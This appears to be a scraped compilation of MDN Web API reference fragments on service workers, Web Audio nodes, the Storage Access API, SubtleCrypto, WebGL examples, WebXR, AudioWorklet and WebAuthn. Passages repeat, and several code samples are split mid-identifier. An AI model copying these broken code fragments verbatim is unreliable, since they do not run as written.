web platform that will bring it closer towards native app viability. Interestingly, other specifications can and will start to make use of the service worker context, for example: Background synchronization: Start up a service worker even when no users are at the site, so caches can be updated, etc. Reacting to push messages: Start up a service worker to send users a message to tell them new cont...
...workers, and access the state of service workers and their registrations. ServiceWorkerGlobalScope Represents the global execution context of a service worker. ServiceWorkerMessageEvent Represents a message sent to a ServiceWorkerGlobalScope. Note that this interface is deprecated in modern browsers. Service worker messages will now use the MessageEvent interface, for consistency with other
web messaging features. ServiceWorkerRegistration Represents a service worker registration. ServiceWorkerState Associated with its ServiceWorker's state. SyncEvent The SyncEvent interface represents a sync action that is dispatched on the ServiceWorkerGlobalScope of a ServiceWorker. SyncManager Provides an interface for registering and listing sync registrations. WindowClient ...
StereoPannerNode.StereoPannerNode() - Web APIs
The StereoPannerNode() constructor of the
Web Audio API creates a new StereoPannerNode object which is an AudioNode that represents a simple stereo panner node that can be used to pan an audio stream left or right. Syntax var stereoPannerNode = StereoPannerNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional Options are as follows: pan: A floating point number in the range [-1,1] indicating the position of an AudioNode in an output image. The value -1 represents full left and 1 represents full right. The default value is 0. Return value A new StereoPannerNode object instance. ...
...erence to an AudioContext. options Optional Options are as follows: pan: A floating point number in the range [-1,1] indicating the position of an AudioNode in an output image. The value -1 represents full left and 1 represents full right. The default value is 0. Return value A new StereoPannerNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'StereoPannerNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSaf...
...he definition of 'StereoPannerNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before Chrome 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari No support No
WebView Android Full support 55Notes Full support 55Notes Notes Before Chrome 59, the default values were not supported.Chrome Android Full support 55Notes Full support 55Notes Notes Before Chrome 59, the default values w...
Storage Access API - Web APIs
arately (or completely break) if those cookies are not available. In the case of breakage, site owners have often encouraged users to add their site as an exception or to disable the policy entirely. As a consequence, users who wish to continue to interact with embedded content are forced to greatly relax their blocking policy for resources loaded from all embedded origins and possibly across all
websites. The Storage Access API is intended to solve this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the Document.requestStorageAccess() method, and check whether it already has access via the Document.hasStorageAccess() method. In addition, sandboxed <iframe>s cannot be granted storage access by default for securit...
...stricted access to its first-party storage on a site-by-site basis via the Document.requestStorageAccess() method, and check whether it already has access via the Document.hasStorageAccess() method. In addition, sandboxed <iframe>s cannot be granted storage access by default for security reasons. The API therefore also adds the allow-storage-access-by-user-activation sandbox token. The embedding
website needs to add this to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the API, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ... </iframe> The API is designed to limit the potential storage exceptio...
...plementers of the Storage Access API -- Safari shows prompts for all embedded tracking content that has not previously received storage access, while Firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites. See Document.requestStorageAccess() for more details. Safari implementation differences Although the API surface is the same,
websites using the Storage Access API should expect differences in the level and extent of storage access they receive between Firefox and Safari. This is caused by differences in the storage access policies implemented in the two browsers. Design properties unique to Firefox are summarized here: If the embedded origin tracker.example has already obtained first-party storage access on the top-leve...
...mple on foo.example (e.g. scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send Cookie headers and honor incoming Set-Cookie headers. In Firefox, when the promise returned from requestStorageAccess() is resolved, the embedded page will gain access to its entire first-party storage, not just cookies. This includes access to APIs such as
Web Storage, IndexedDB, DOM Cache, and so on. In Firefox, the storage access grants are phased out after 30 calendar days passing, whereas in Safari the storage access grants are phased out after 30 days of browser usage passed without user interaction. This is currently a limitation of the Firefox implementation, which we may address in a future version. In Safari, successful use of the storage ac...
SubtleCrypto - Web APIs
Access to the features of SubtleCrypto is obtained through the subtle property of the Crypto object you get from Window.crypto. Warning: This API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle. Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts. Errors in security system design and implementation can make the security of the system completely ineffective. ...
... and later derive the same key from the same password to decrypt the data. Importing and exporting keys To make keys available outside your app, you need to export the key, and that's what exportKey() is for. You can choose one of a number of export formats. The inverse of exportKey() is importKey(). You can import keys from other systems, and support for standard formats like PKCS #8 and JSON
Web Key helps you do this. The exportKey() function exports the key in an unencrypted format. If the key is sensitive you should use wrapKey(), which exports the key and then encrypts it using another key; the API calls a "key-wrapping key". The inverse of wrapKey() is unwrapKey(), which decrypts then imports the key. Storing keys CryptoKey objects can be stored using the structured clone algorit...
... in an unencrypted format. If the key is sensitive you should use wrapKey(), which exports the key and then encrypts it using another key; the API calls a "key-wrapping key". The inverse of wrapKey() is unwrapKey(), which decrypts then imports the key. Storing keys CryptoKey objects can be stored using the structured clone algorithm, meaning that you can store and retrieve them using standard
web storage APIs. The specification expects that most developers will use the IndexedDB API to store CryptoKey objects. Supported algorithms The cryptographic functions provided by the
Web Crypto API can be performed by one or more different cryptographic algorithms: the algorithm argument to the function indicates which algorithm to use. Some algorithms need extra parameters: in these cases the al...
... Recommendation Initial definition. ...
Text - Web APIs
s adjacent Text objects back into a single node for each block of text. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CharacterData" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406...
...height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Text" target="_top"><rect x="436" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Text</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor Text() Returns...
TouchEvent - Web APIs
target element. Lists of touches are represented by TouchList objects. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/TouchEvent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">TouchEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor TouchE...
...ddEventListener() and preventDefault() It's important to note that in many cases, both touch and mouse events get sent (in order to let non-touch-specific code still interact with the user). If you use touch events, you should call preventDefault() to keep the mouse event from being sent as well. The exception to this is Chrome, starting with version 56 (desktop, Chrome for android, and android
webview), where the default value for the passive option for touchstart and touchmove is true and calls to preventDefault() will have no effect. To override this behavior, you need to set the passive option to false, after which calling preventDefault() will work as specified. The change to treat listeners as passive by default prevents the listener from blocking page rendering while a user is scroll...
UIEvent.initUIEvent() - Web APIs
onThe definition of 'UIEvent.initUIEvent()' in that specification. Obsolete Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... on iOSSamsung InternetinitUIEvent DeprecatedNon-standardChrome Full support YesEdge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari ?
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
... See also UIEvent The constructor to use instead of this deprecated method: UIEvent(). More specific constructors can be used too. ...
... See also UIEvent The constructor to use instead of this deprecated method: UIEvent(). More specific constructors can be used too. ...
WaveShaperNode.WaveShaperNode() - Web APIs
The WaveShaperNode() constructor of the
Web Audio API creates a new WaveShaperNode object which is an AudioNode that represents a non-linear distorter. Syntax var waveShaperNode = new WaveShaperNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional Options are as follows: curve: The shaping curve used for the waveshaping effect. The input signal is nominally within the range [-1;1]. oversample: Specifies what type of oversampling (if any) should be used when applying the shaping curve. Valid values are 'none', '2x', or '4x'. The default is 'none'. Return value A new WaveShaperNode object instance. ...
...shaping curve used for the waveshaping effect. The input signal is nominally within the range [-1;1]. oversample: Specifies what type of oversampling (if any) should be used when applying the shaping curve. Valid values are 'none', '2x', or '4x'. The default is 'none'. Return value A new WaveShaperNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'WaveShaperNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafar...
...IThe definition of 'WaveShaperNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before Chrome 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
Color masking - Web APIs
Masking random colors This example modifies the random color animation by applying color masking with colorMask(). You can think of the color masking operation as if looking at the colored canvas through some tinted glass or color filter. So, by masking off the blue and green channels, you are only allowing the red component of pixels to be updated, and therefore it is as if you were looking through a red tinted glass. Color masking allows us to demonstrate some basics of color theory. By masking off some channel(s), we are in fact biasing the displayed colors towards the complementary color. ...
...yellow-green), the complementary of blue. Similarly, masking only green would give us shades of magenta (also purples, crimsons, and so on), and masking only red would give shades of cyan (also sea greens, blues, and so on). Note that the calls to colorMask() only occur when the user clicks on one of the toggle buttons. But rendering is done every second, using the timer. The color mask state of
WebGL is preserved, so we do not need to call colorMask() every frame to set up the color mask. This is an important aspect of the
WebGL state machine. It allows us to setup
WebGL in a single initialization phase, and then just execute drawing commands for each frame. Color masking gives you fine control of updating pixel values on the screen. By limiting the color channels that are written by each ...
...ame. Color masking gives you fine control of updating pixel values on the screen. By limiting the color channels that are written by each drawing command, you can use each channel, for example, to store a different grayscale image. Alternatively, you may use the RGB components for color, but the alpha component for some custom pixel data of your invention. Finally, color masking teaches us that
WebGL is not only a state machine, it is also a graphics pipeline. This means that graphics operations in
WebGL are done in a certain order, where the output of each operation serves as the input of the next. So, for example, clearing operation sets the value of each pixel to the chosen clear color. Masking occurs later in the pipeline, and modifies the pixel color value, so the final result on the s...
... margin : auto; padding : 0.6em 1.2em; } #red-toggle { background-color : red; } #green-toggle { background-color : green; } #blue-toggle { background-color : blue; } window.addEventListener("load", function setupAnimation (evt) { "use strict" window.removeEventListener(evt.type, setupAnimation, false); var canvas = document.querySelector("canvas"); var gl = canvas.getContext("
webgl") || canvas.getContext("experimental-
webgl"); if (!gl) { document.querySelector("p").innerHTML = "Failed to get
WebGL context." + "Your browser or device may not support
WebGL."; return; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); var timer = setInterval(drawAnimation, 1000); var mask = [true, true, true]; var redtoggle = docum...
Raining rectangles - Web APIs
<< PreviousNext >> A simple
WebGL game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. Animation and user interaction with scissoring This is a simple game. The objective: try to catch as many of the raining rectangles as you can by clicking on them. In this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable. This example combines clearing the drawing buffer with solid colors and scissoring operations. It is a preview of a full graphical application that manipulates various phases of the
WebGL graphics pipeline and state machine. In addition, the example demons...
...ectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable. This example combines clearing the drawing buffer with solid colors and scissoring operations. It is a preview of a full graphical application that manipulates various phases of the
WebGL graphics pipeline and state machine. In addition, the example demonstrates how to integrate the
WebGL function calls within a game loop. The game loop is responsible for drawing the animation frames, and keeping the animation responsive to user input. Here, the game loop is implemented using timeouts. <p>You caught <strong>0</strong>. You missed <strong>0</strong>.</p> <canvas>Your browser does not seem to support HTML5 canvas.</canvas> body { text-align : center; } canvas { d...
...imeout for animation. So we reschedule // the timeout to call drawAnimation again in 17ms. // Otherwise we won't get any animation. timer = setTimeout(drawAnimation, 17); } function playerClick (evt) { // We need to transform the position of the click event from // window coordinates to relative position inside the canvas. // In addition we need to remember that vertical position in //
WebGL increases from bottom to top, unlike in the browser // window. var position = [ evt.pageX - evt.target.offsetLeft, gl.drawingBufferHeight - (evt.pageY - evt.target.offsetTop), ]; // if the click falls inside the rectangle, we caught it. // Increment score and create a new rectangle. var diffPos = [ position[0] - rainingRect.position[0], position[1] - rainingRect.
...th.random(); rect.color = getRandomVector(); gl.clearColor(rect.color[0], rect.color[1], rect.color[2], 1.0); function getRandomVector() { return [Math.random(), Math.random(), Math.random()]; } } function getRenderingContext() { var canvas = document.querySelector("canvas"); canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; var gl = canvas.getContext("
webgl") || canvas.getContext("experimental-
webgl"); if (!gl) { var paragraph = document.querySelector("p"); paragraph.innerHTML = "Failed to get
WebGL context." + "Your browser or device may not support
WebGL."; return null; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.clearColor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); return...
Simple color animation - Web APIs
<< PreviousNext >> A very basic color animation created using
WebGL, performed by clearing the drawing buffer with a different random color every second. Color animation with clear This example provides a simple illustration of color animation with
WebGL, as well as user interaction. The user can start, stop and restart the animation by clicking the button. This time we put the
WebGL function calls within a timer event handler. A click event handler additionally enables the basic user interaction of starting and stopping the animation. ...
...e button. This time we put the
WebGL function calls within a timer event handler. A click event handler additionally enables the basic user interaction of starting and stopping the animation. The timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second). ...
...tartAnimation, false); verb.innerHTML="start"; // Stop animation by clearing the timer. clearInterval(timer); } // Call stopAnimation() once to setup the initial event // handlers for canvas and button. stopAnimation({type: "click"}); var gl; function drawAnimation () { if (!gl) { var canvas = document.getElementById("canvas-view"); gl = canvas.getContext("
webgl") ||canvas.getContext("experimental-
webgl"); if (!gl) { clearInterval(timer); alert("Failed to get
WebGL context.\n" + "Your browser or device may not support
WebGL."); return; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); } // Get a random color value using a helper function. var color = getR...
... gl.clearColor(color[0], color[1], color[2], 1.0); // Clear the context with the newly set color. gl.clear(gl.COLOR_BUFFER_BIT); } // Random color helper function. ...
Textures from code - Web APIs
Drawing textures with code Texturing a point sprite with calculations done per-pixel in the fragment shader. <p>Texture from code. ...
... Drawing textures with code Texturing a point sprite with calculations done per-pixel in the fragment shader. <p>Texture from code. ...
...x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0; float distance = length(fragmentPosition); float distanceSqrd = distance * distance; gl_FragColor = vec4( 0.2/distanceSqrd, 0.1/distanceSqrd, 0.0, 1.0 ); } </script> ;(function(){ "use strict" window.addEventListener("load", setup
WebGL, false); var gl, program; function setup
WebGL (evt) { window.removeEventListener(evt.type, setup
WebGL, false); if (!(gl = getRenderingContext())) return; var source = document.querySelector("#vertex-shader").innerHTML; var vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader,source); gl.compileShader(vertexShader); source = document.querySelector("...
..., 0.0]), gl.STATIC_DRAW); gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0); } function cleanup() { gl.useProgram(null); if (buffer) gl.deleteBuffer(buffer); if (program) gl.deleteProgram(program); } function getRenderingContext() { var canvas = document.querySelector("canvas"); canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; var gl = canvas.getContext("
webgl") || canvas.getContext("experimental-
webgl"); if (!gl) { var paragraph = document.querySelector("p"); paragraph.innerHTML = "Failed to get
WebGL context." + "Your browser or device may not support
WebGL."; return null; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.clearColor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); return...
Using bounded reference spaces - Web APIs
Not only is it represented by a unique subclass, XRBoundedReferenceSpace, but it's the only one which restricts movement based not upon virtual restrictions but upon limitations imposed by the real world. This article examines bounded reference spaces as represented by XRBoundedReferenceSpace, describing what they are and how they're used. ...
...Then... xrSession.requestAnimationFrame(onDrawFrame); } If you compare this code to the code used in examples using unbounded reference spaces, you'll confirm that, indeed, the biggest difference is the reference space type bounded-floor. The code begi...
...the reference space being used in the variable spaceType. The most obvious difference is that local-floor spaces don't provide boundaries, and are primarily meant to be used in situations where the user stays in one place for the duration of the session. If upon attempting to create a local-floor reference space, the user's XR device doesn't have built-in support for determining floor level, the
WebXR layer will still create a local-floor space. However, the floor level will be simulated by choosing and emulating the floor level and shifting the view upward by a fixed amount in order to ensure that the scene's contents render in the right place. Keep in mind that by default, the viewer's position is placed immediately above the floor, like a camera lying on the ground. If you wish to simula...
...e scene, you probably want to move the viewpoint upward by a distance that approximates human eye level by transforming it by providing an appropriate transform matrix to the XRReferenceSpace method requestOffsetReferenceSpace(). ...
Background audio processing using AudioWorklet - Web APIs
The drawback to ScriptProcessorNode was simple: it ran on the main thread, thus blocking everything else going on until it completed execution. This was far less than ideal, especially for something that can be as computationally expensive as audio processing. Enter AudioWorklet. An audio context's audio worklet is a Worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioWorklet.addModule() method. Calling addModule() loads the specified JavaScript file, which should contain the implementation of the audio processor. ...
...the implementation of the audio processor. With the processor registered, you can create a new AudioWorkletNode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes. The process of creating an audio processor using JavaScript, establishing it as an audio worklet processor, and then using that processor within a
Web Audio application is the topic of this article. It's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly from being built using
WebAssembly, which brings near-native or fully native performance to
web apps. Implementing your audio processing algorithm using
WebAssembly can make it perform markedly better. High level overview ...
...s still considered to be actively processing audio, it will continue to be used. In the case of an AudioWorkletNode, the node is considered to be active if its process() function returns true and the node is either generating content as a source for audio data, or is receiving data from one or more inputs. Specifying a value of true as the result from your process() function in essence tells the
Web Audio API that your processor needs to keep being called even if the API doesn't think there's anything left for you to do. In other words, true overrides the API's logic and gives you control over your processor's lifetime policy, keeping the processor's owning AudioWorkletNode running even when it would otherwise decide to shut down the node. Returning false from the process() method tells the...
...at in hand, you connect it to other nodes and otherwise use it just like any other node. You can then create a new audio processor node by simply doing this: let newProcessorNode = createMyAudioProcessor(); If the returned value, newProcessorNode, is non-null, we have a valid audio context with its hiss processor node in place and ready to use. Supporting audio parameters Just like any other
Web Audio node, AudioWorkletNode supports parameters, which are shared with the AudioWorkletProcessor that does the actual work. Adding parameter support to the processor To add parameters to an AudioWorkletNode, you need to define them within your AudioWorkletProcessor-based processor class in your module. This is done by adding the static getter parameterDescriptors to your class. This function s...
Attestation and Assertion - Web APIs
They have similar names and similar purposes, but understanding the differences may be an initial point of confusion. The sections below describe attestation, which happens during registration, and assertion which happens during authentication. Attestation When an authenticator registers a new key pair with a service, the authenticator signs the public key with an attestation certificate. The attestation certificate is built into the authenticator during manufacturing time and is specific to a device model. ...
...with a service, the authenticator signs the public key with an attestation certificate. The attestation certificate is built into the authenticator during manufacturing time and is specific to a device model. That is, all "Samsung Galaxy S8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate. The attestation is returned through the
WebAuthn API as the AuthenticatorAttestationResponse. The attestation format contains two basic ArrayBuffers: clientDataJSON - An ArrayBuffer that contains a JSON representation of what the browser saw when being asked to authenticate. attestationObject - Cryptographic attestation that a newly generated keypair was created by that authenticator. Contains authenticator data and an attestat...
...tialData field contains the credentialId and credentialPublicKey. (The authenticator data is the same structure that is used in the AuthenticatorAssertionResponse. The attestedCredentialData is an optional field used in attestation. It is not included when used in the AuthenticatorAssertionResponse.) Different devices have different attestation formats. The pre-defined attestation formats in
WebAuthn are: Packed - a generic attestation format that is commonly used by devices whose sole function is as a
WebAuthn authenticator, such as security keys. TPM - the Trusted Platform Module (TPM) is a set of specifications from the Trusted Platform Group (TPG). This attestation format is commonly found in desktop computers and is used by Windows Hello as its preferred attestation...
...uthenticated and has established a secure session. Assertion When a user chooses to log into a service, the server sends a challenge and the authenticator signs over it with a key pair previously registered to that service. This creates an assertion. Unlike the attestation, the format of the assertion is always the same regardless of the device being used. The assertion is returned through the
WebAuthn API as the AuthenticatorAssertionResponse. The assertion format is fairly simple as it contains four basic ArrayBuffers: clientDataJSON - The same as in attestation. An ArrayBuffer that contains a JSON representation of what the browser saw when being asked to authenticate. authenticatorData - data created and/or used by the authenticator signature - a signature over the cl...
WheelEvent - Web APIs
changes to scrollLeft and scrollTop of the target in the scroll event. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MouseEvent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MouseEvent</text></a><polyline points="331,25 341,20 341,30 331,25" stroke="#D4DDE4" fill="none"/><line x1="341" y1="...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MouseEvent</text></a><polyline points="331,25 341,20 341,30 331,25" stroke="#D4DDE4" fill="none"/><line x1="341" y1="25" x2="371" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/WheelEvent" target="_top"><rect x="371" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="421" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">WheelEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor WheelE...
Window.navigator - Web APIs
rder matters here, and this may report false positives for unlisted browsers. ...
...Ag.indexOf("SamsungBrowser") > -1) { sBrowser = "Samsung Internet"; // "Mozilla/5.0 (Linux; Android 9; SAMSUNG SM-G955F Build/PPR1.180610.011) Apple
WebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36 } else if (sUsrAg.indexOf("Opera") > -1 || sUsrAg.indexOf("OPR") > -1) { sBrowser = "Opera"; // "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) Apple
WebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 OPR/57.0.3098.106" } else if (sUsrAg.indexOf("Trident") > -1) { sBrowser = "Microsoft Internet Explorer"; // "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko" } else if (sUsrAg.indexOf("Edge") > -1) { sBrowser = "Microsoft Edge"; // "Mozilla/5.0 (Windows NT 10.
...ike Gecko) Chrome/70.0.3538.102 Safari/537.36 OPR/57.0.3098.106" } else if (sUsrAg.indexOf("Trident") > -1) { sBrowser = "Microsoft Internet Explorer"; // "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko" } else if (sUsrAg.indexOf("Edge") > -1) { sBrowser = "Microsoft Edge"; // "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple
WebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299" } else if (sUsrAg.indexOf("Chrome") > -1) { sBrowser = "Google Chrome or Chromium"; // "Mozilla/5.0 (X11; Linux x86_64) Apple
WebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36" } else if (sUsrAg.indexOf("Safari") > -1) { sBrowser = "Apple Safari"; // "Mozilla/5.0...
... Living Standard ...
Window.releaseEvents() - Web APIs
| Event.KEYUP). See also window.captureEvents ( ). Specification This is not part of any specification. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...vents DeprecatedNon-standardChrome Full support YesEdge Full support 12Firefox Full support YesIE ? ...
... ...
... ...
Window.routeEvent() - Web APIs
onger available, used to be called to forward an event to the next object that has asked to capture events. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...fox for AndroidOpera for AndroidSafari on iOSSamsung InternetrouteEvent DeprecatedNon-standardChrome No support NoEdge No support NoFirefox No support NoIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
... ...
... ...
Worklet - Web APIs
The Worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly. ...
...The Worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly. ...
...The Worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly. ...
